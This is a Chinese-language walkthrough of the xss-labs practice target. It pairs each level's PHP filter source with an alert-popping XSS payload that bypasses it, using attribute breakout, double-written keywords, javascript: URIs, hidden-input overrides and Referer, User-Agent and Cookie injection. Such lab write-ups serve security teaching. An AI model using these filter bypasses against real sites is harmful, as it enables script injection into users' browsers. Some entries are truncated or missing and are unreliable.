xss-labs靶机练习
## leve-1
-
无任何过滤,get 型,直接
2.
-
方法一:闭合 input 标签里面的
">
-
方法二:闭合 value 属性,在 input 标签中添加新的属性
" onclick="alert(11)
3.HTML 实体化过滤
-
htmlspecialchars 函数可以过滤
<``>``"
,但是不会过滤单引号,而且 value 的闭合也是采用单引号,所以会有 xss 漏洞 -
部分源码
<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.h2>"
-
先试探防御机制,发现 value 值中把“<”过滤了,所以采用事件注入
" onclick="alert(11)
成功弹框
5.ri 和 on 防御机制
6.ri 和 on,href 防御机制
7.script,on 等关键字替换为空
-
双写绕过
-
" oonnclick="alert(11)
8.过滤较全,使用 html 实体编码
-
这道题过滤有点对,查看源码
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);#大小写过滤
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
-
方法一:html 实体编码:
javascript:alert(1)
-
方法二:fromCharCode()函数:
String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62)
9.
-
通过试探,这一关与上一关不同的是会在上一关的基础上,加入地址的检查,首先判断会检查哪些内容,这一关会检查输入的数据中是否会有 http://字段,所以需要在输入的字段中加入该字段
f(false===strpos($str7,'http://'))
{
echo '
友情链接 ';
}
else
{
echo '
$str7.'">友情链接 ';
}
payload:javascript:alert('http://')
10.hidden 属性值---隐藏无法触发事件
-
这一没有输入的地方,需要在 url 地址栏中输入,这一时输入是隐藏的,也就是说 keyname 并不是要注入的地方,真正注入的地方是三个 input,不过这三个被隐藏了,所以需要去试探这三个哪个是正确的,只有 t_sort 是正确的
-
这里的属性值是可以被替代的,通过再次
type="text"
来重新设置属性值,然后添加事件,即可触发弹框 -
payload:
t_sort="2 type="text" onclick="alert(1)
-
利用 html 的 accesskey 属性
t_sort=2" accesskey="x" onclick="alert(1)" type="text"
11.referer 注入
-
源码,,(不看源码的话。。。没了呀)
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
可以看到,这里对 referer 参数替换了<>,没有了其他过滤,对于 t_sort 进行了 HTML 实体化,而且是双引号闭合,所以不会有注入。 referer 的 payload:在 hackbar 中传 referer 参数t_ref=2" onclick="alert(1)" type="text
12.User-agent 的 xss 注入
-
和 11 题的原理一样
13.cookie 的 xss 注入
-
和上述差不多
14.这道题有问题
15.ng-include
-
源码
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo 'htmlspecialchars($str).'">';
?>
可以看到的是,变量名是“src”,这也没有提示,确实猜不到 通过试探,发现所有的输入都会被注视到 ngInclude: 1 之后,所以先了解一下 ngInclude 它的作用 ng-include 指令用于包含外部的 HTML 文件。 包含的内容将作为指定元素的子节点。 ng-include 属性的值可以是一个表达式,返回一个文件名。 默认情况下,包含的文件需要包含在同一个域名下。 也就是说它的参数是一个 html 页面 发现在该页面会加载 level1 的页面,我们在 15 页面里面是没有注入点,但是在 1 页面里面有,尝试在 1 里面注入 src='level1.php?name=1'
并没有被执行,因为通过 htmlspecialchars($str)函数,有些特殊字符被转码了,转为了 html 实体,所以我们采用其他标签的事件属性触发 src='level1.php?name=
'
16.
-
直接在前端页面中修改 img 标签即可。。
-
源码只是过滤了部分字符,payload
17-18-19-20--
-
四道题都一类题,涉及 flash-xss,
swf
后缀文件--动画软件 Flash 的专用格式,广泛应用于网页设计和动画制作 部分源码如下
<?php
ini_set("display_errors", 0);
echo "
embed 的语法格式: